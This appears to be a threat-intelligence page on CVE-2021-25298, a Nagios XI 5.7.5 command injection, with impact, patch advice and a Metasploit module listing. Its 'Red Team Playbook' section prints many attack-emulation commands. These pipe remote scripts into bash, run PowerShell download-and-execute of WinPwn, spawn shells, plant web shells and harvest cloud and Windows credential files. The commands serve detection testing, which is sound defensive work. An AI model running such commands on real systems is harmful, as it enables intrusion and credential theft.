CVE-2021-25298
Overview
Nagios XI version xi-5.7.5 contains an OS command injection vulnerability rooted in improper sanitization of authenticated user input within the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php. This flaw allows malicious input to be passed directly to system-level commands executed by the Nagios XI server. The vulnerability specifically affects the cloud virtual machine configuration wizard component, which processes HTTP requests containing user-controlled parameters without adequate validation.
Vulnerability Description
Nagios XI version xi-5.7.5 is affected by OS command injection. The vulnerability exists in the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php due to improper sanitization of authenticated user-controlled input by a single HTTP request, which can lead to OS command injection on the Nagios XI server.
Impact
An attacker with a valid Nagios XI user account can execute arbitrary operating system commands on the Nagios XI server, potentially leading to full system compromise. This access allows unauthorized manipulation of system files, installation of malware, or lateral movement within the network. The prerequisite is possession of low-privileged authenticated access, which may be obtained via credential compromise or insider threat. The business impact includes disruption of monitoring services, data exfiltration, and persistent control over critical infrastructure monitoring systems.
Solution
Nagios Enterprises recommends upgrading Nagios XI to a version later than 5.7.5 as detailed on their official versions page (https://assets.nagios.com/downloads/nagiosxi/versions.php). The vendor has released patches addressing this command injection vulnerability in subsequent releases. Administrators should consult the official Nagios XI download and advisory pages for specific patch instructions and ensure all updates are applied promptly to mitigate this flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
Nagios XI, a popular network monitoring solution, has been identified as having a critical vulnerability that allows for OS command injection due to improper input sanitization. This issue resides in the configuration wizard for cloud virtual machines, specifically within the PHP file responsible for handling user inputs. When an authenticated user submits data through a single HTTP request, the application fails to adequately validate or sanitize this input, enabling an attacker to execute arbitrary commands on the underlying operating system. This flaw underscores the importance of robust input validation mechanisms in web applications, particularly those that operate with elevated privileges.
The primary attack vector for this vulnerability involves an authenticated user exploiting the input fields within the affected configuration wizard. An attacker could craft a malicious payload that, when submitted, would be executed by the server's operating system. This could be achieved through various means, such as manipulating form fields or API requests. Given that the vulnerability is triggered by a single HTTP request, it simplifies the exploitation process, making it accessible even to those with limited technical expertise. Once the command injection is successful, the attacker could potentially gain full control over the server, leading to further exploitation or data breaches.
The real-world implications of this vulnerability are significant, particularly for organizations relying on Nagios XI for critical infrastructure monitoring. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete system compromise. The business risks associated with such an incident include financial loss, reputational damage, and potential legal ramifications due to data breaches. Additionally, the presence of this vulnerability could lead to increased scrutiny from regulatory bodies, especially for organizations in regulated industries. The potential for widespread impact is amplified by the fact that many organizations may not have adequate security measures in place to detect or respond to such attacks.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they are exploited. Additionally, organizations should ensure that all software components are kept up to date with the latest security patches and updates. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering and monitoring HTTP traffic for malicious payloads. Furthermore, enhancing input validation and sanitization processes within the application code is crucial to prevent similar vulnerabilities from being introduced in the future.
In conclusion, the OS command injection vulnerability in Nagios XI highlights the critical need for secure coding practices and robust input validation mechanisms in web applications. The potential for exploitation through authenticated user input presents a serious risk to organizations that utilize this monitoring solution. By adopting proactive security measures, including regular assessments and improved coding practices, organizations can mitigate the risks associated with such vulnerabilities and protect their critical infrastructure from potential threats.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2021-25298, evidenced by new detection activity after a prolonged period of dormancy. This resurgence is accompanied by a slight uptick in the EPSS score, indicating growing likelihood of exploitation in the wild. The availability of a Metasploit module that chains CVE-2021-25298 with related Nagios XI vulnerabilities to achieve remote code execution underlines the increasing ease with which threat actors can operationalize this flaw. Although exploitation still requires valid Nagios XI credentials, the emergence of this tooling lowers the barrier for attackers, potentially broadening the threat actor base. For defenders, this shift signals an elevated risk posture for organizations running affected Nagios XI versions, as the vulnerability is now more actively targeted and weaponized. Consequently, the threat level should be considered heightened, warranting increased vigilance in monitoring for suspicious activity related to Nagios XI environments.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Nagios | Nagios Xi | All |
cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection
exploits/linux/http/nagios_xi_configwizards_authenticated_rce
|
Matthew Mathur | Unknown | - | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-25298 |
| nagios.com |
GitHub CVE
|
http://nagios.com |
| assets.nagios.com |
GitHub CVE
|
https://assets.nagios.com/downloads/nagiosxi/versions.php |
| github.com |
GitHub CVE
|
https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/161561/Nagios-XI-5.7.5-Remote-Code-Execution.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html |
| fastly.com |
GitHub CVE
|
https://www.fastly.com/blog/anatomy-of-a-command-injection-cve-2021-25296-7-8-with-metasploit-module-and |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-25298 |